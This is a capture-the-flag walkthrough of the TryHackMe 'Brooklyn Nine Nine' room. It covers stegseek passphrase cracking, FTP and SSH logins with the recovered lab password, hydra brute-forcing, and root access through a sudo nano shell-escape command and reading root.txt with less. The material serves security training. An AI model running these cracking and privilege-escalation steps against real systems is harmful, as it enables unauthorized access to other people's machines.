TryHackMe Brooklyn Nine Nine Writeup: Steganography to Root via nano

Room Info

• Platform: TryHackMe
• Room name: Brooklyn Nine Nine
• Difficulty: Easy
• Goal: Grab user.txt and root.txt
• Link: https://tryhackme.com/room/brooklynninenine

System Weakness

Service Discovery

nmap -Pn 10.201.61.44

• Port 21: FTP
• Port 22: SSH
• Port 80: HTTP

Step 1: Steganography Reveals the Initial Password (holt)

Run a steganography check on the challenge image, using steghide/stegseek to brute-force it straight against a wordlist.

└─$ stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
[i] Found passphrase: "admin"
[i] Original filename: "note.txt".
[i] Extracting to "brooklyn99.jpg.out"

└─$ cat brooklyn99.jpg.out
Holts Password:
fluffydog12@ninenine

Step 2: FTP Enumeration (Extra Clue)

└─$ ftp 10.10.x.x
Name: holt / Pass: fluffydog12@ninenine
ftp> ls -la
ftp> get note_to_jake.txt

└─$ cat note_to_jake.txt
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

Step 3: SSH Login (holt)

└─$ ssh [email protected]
Password: fluffydog12@ninenine

Step 4: Privilege Escalation - Method 1 (holt → root, spawning an interactive shell with nano)

First, check the sudo privileges:

└─$ sudo -l
(ALL) NOPASSWD: /bin/nano

Use the nano GTFOBins trick (^R → ^X to run a command, binding back to the TTY to get an interactive shell):

└─$ sudo /bin/nano
[Ctrl+R] → [Ctrl+X]
Command to execute: reset; sh 1>&0 2>&0

Verify and grab the flag:

# whoami
root
# cat /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: Redacted

Enjoy!!

Step 5: Privilege Escalation - Method 2 (holt → read root.txt directly)

No interactive shell needed — just open the file with root privileges:

└─$ sudo /bin/nano /root/root.txt

(Same contents as above; just copy the flag out.)

Step 6: Privilege Escalation - Method 3 (jake → root, reading the file with less)

Following the FTP hint, brute-force jake with a wordlist (omitted), then once you have a shell just read root directly:

jake@brookly_nine_nine:~$ /usr/bin/less /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: Redacted

Enjoy!!
/root/root.txt (END)

Step 7: User Flag

Grab user.txt from holt's home directory:

└─$ ls -la ~
nano.save  user.txt
└─$ cat ~/user.txt

Key Techniques

1. Steganography (data embedded in a JPEG)
   • Use stegseek to extract the note from the image and recover holt's password.
2. Weak passwords and service enumeration
   • FTP hints at a weak password; an SSH dictionary attack against jake gets you in.
3. Misconfigured sudoers (running dangerous programs without a password)
   • holt: NOPASSWD allows /bin/nano → via "Read File → Execute" you can get an interactive root shell or read root.txt directly.
   • jake: can use /usr/bin/less directly to read /root/root.txt

Lessons Learned

On Step 1:

The reason we knew steganography was involved here is that the web page's source code hints at using steganography to inspect the image. There are plenty of steganography tools and techniques out there, and sometimes a particular stego method pairs with a specific decryption tool — that's an area worth digging into on your own. This challenge uses stegseek.

On Step 3:

For this step you can actually SSH in as either holt or jake. Since the FTP clue already told us jake's password is really simple, we can just brute-force it with hydra — the password is 987654321.

On Step 7:

The user flag, user.txt, lives in holt's home directory! So if you logged in as jake, there's a good chance you'll end up grabbing the root flag before the user flag.

Nice!